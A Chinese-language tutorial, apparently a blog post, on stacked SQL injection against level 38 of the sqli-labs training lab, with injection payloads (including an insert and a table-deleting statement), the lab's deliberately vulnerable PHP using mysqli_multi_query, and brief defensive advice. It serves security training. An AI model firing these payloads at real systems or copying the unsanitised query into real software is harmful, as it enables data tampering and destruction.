SQL注入之堆叠注入(sql-lab第38关)
什么是堆叠注入
在SQL中,分号(;)是用来表示一条SQL语句结束的。试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而堆叠注入可以执行的是任意语句(增删改查)。
例如以下这个例子:
用户输入:1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。
适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入
堆叠注入的过程
1、找到注入点(确定是否存在堆叠注入)
2、开始注入
我们本次尝试的语句:
1’;insert into users(id,username,password) values(‘100’,‘abc’,‘abc’) --+
这里以sql-lab第38关为例
http://192.168.3.10/sqli/Less-38/?id=1——》有回显
http://192.168.3.10/sqli/Less-38/?id=1’ --+ ——》仍然有回显
基本可以判断它是一个字符型
在没有插入之前,利用phpstudy后台的命令行先查看表中有哪些数据
尝试堆叠注入:
http://192.168.3.10/sqli/Less-38/?id=1’;insert into users(id,username,password) values(‘10000’,‘abcd’,‘abcd’) --+
插入后再查看一下:发现插入了id=10000的数据
当把insert into 语句 改成delete语句就可以把users表删掉,所以堆叠注入危害很大。
堆叠注入代码分析
<?php
error_reporting(0);
include("../sql-connections/db-creds.inc");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-38 **stacked Query**</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php// take the variables
if(isset($_GET['id']))
{$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}
// mysqli_free_result($result);}/* print divider */if (mysqli_more_results($con1)){//printf("-----------------\n");}//while (mysqli_next_result($con1));
}
else {echo '<font size="5" color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }
/* close connection */
mysqli_close($con1);}else { echo "Please input the ID as parameter with numeric value";}?>
</font> </div></br></br></br><center>
<img src="../images/Less-38.jpg" /></center>
</body>
</html>
这个函数造成了堆叠注入
防御:对参数进行一定的过滤
尽量避免使用mysqli_multi_query()函数
SQL注入之堆叠注入(sql-lab第38关)相关推荐
- sql注入之堆叠注入
一.堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在 ...
- 07_SQL注入_堆叠注入绕过注入
07_SQL注入_堆叠注入&绕过注入 1.堆叠注入 1.1 注入理论 谈及堆叠,顾名思义:就是多条语句一同执行.实际开发中,部分数据库支持多条SQL语句同时执行,在这样的场景下进行SQL注入, ...
- 盲注、报错注入、宽字节注入、堆叠注入学习笔记
文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...
- mysql 堆叠查询_SQL 注入方法 - 盲注、报错注入、UNION查询注入与堆叠注入
盲注 关键点是 根据页面返回内容分析 Payload 中的问题是否为真,然后通过多次测试遍历出想要的数据 布尔盲注 目标地址:http://newspaper.com/items.php?id=2 对 ...
- (17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程
目录 cookie注入 sqli-lasb-master less-21 方法一:用burpsuite进行抓包后修改 方法二:安装火狐的cookie manager等插件进行修改cookie 第一步: ...
- Web安全之SQL注入漏洞学习(七)-堆叠注入
堆叠注入简介 堆叠注入是指注入的多条SQL语句可以一起执行.MySQL命令行中, 每一条语句结尾加; 表示语句结束.这样是不是可以多句一起使用.这个叫做 stacked injection. 堆叠注入 ...
- SQL注入之MYSQL注入总结
简介 information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息. 让我们从爆破表名到了可以直接查询. information_schema是MySQL5.0以 ...
- 【SQL注入07】堆叠注入基础及实操(基于sqli-labs-less38)
目录 1 堆叠注入概述 1.1 定义 1.2 与union联合查询注入的对比 1.3 局限性 2 堆叠注入实验简介 2.1 实验平台 2.2 实验目标 3 堆叠注入实验步骤 3.1 前戏 3.2 判断 ...
- SQL注入——堆叠注入
一.堆叠注入的原理 1.介绍 在 SQL 中,分号(;)是用来表示一条 sql 语句的结束.试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注 ...
最新文章
- 循环输入正整数,求其平均值
- k8s集群配置使用coredns代替kube-dns
- mac10.12 安装mysql_在mac os10.12上安装mysql5.7.18
- python os库使用
- Java JDK下载与安装教程
- 创建自己的uboot-基于IMX6
- TranslateAnimation详解
- IntelliJ IDEA 记学习笔《Patch 创建补丁》
- 基于Opencv实现的简易汉字识别
- 计算机管理用户拒绝访问,win10系统管理员账户拒绝访问怎么办
- 我的世界java旁观者模式_我的世界怎么开旁观者模式-我的世界切换模式攻略
- xp系统开启wlan服务器,XP系统笔记本怎么设置无线网络?
- 优化命令之top——实时显示进程动态/查看进程信息
- 如何用photoshop做24色环_Photoshop绘制超逼真的色轮/色环配色表效果图
- lay和lied_lie-lie-lay三个动词的区别
- 创意、实现和合作:一次原创H5的尝试
- RabbitMQ topics
- putty下载linux文件到本地windows
- idea自动生成bean实体对象
- 举个栗子!Tableau 技巧(116):做一个有趣的锥状柱形图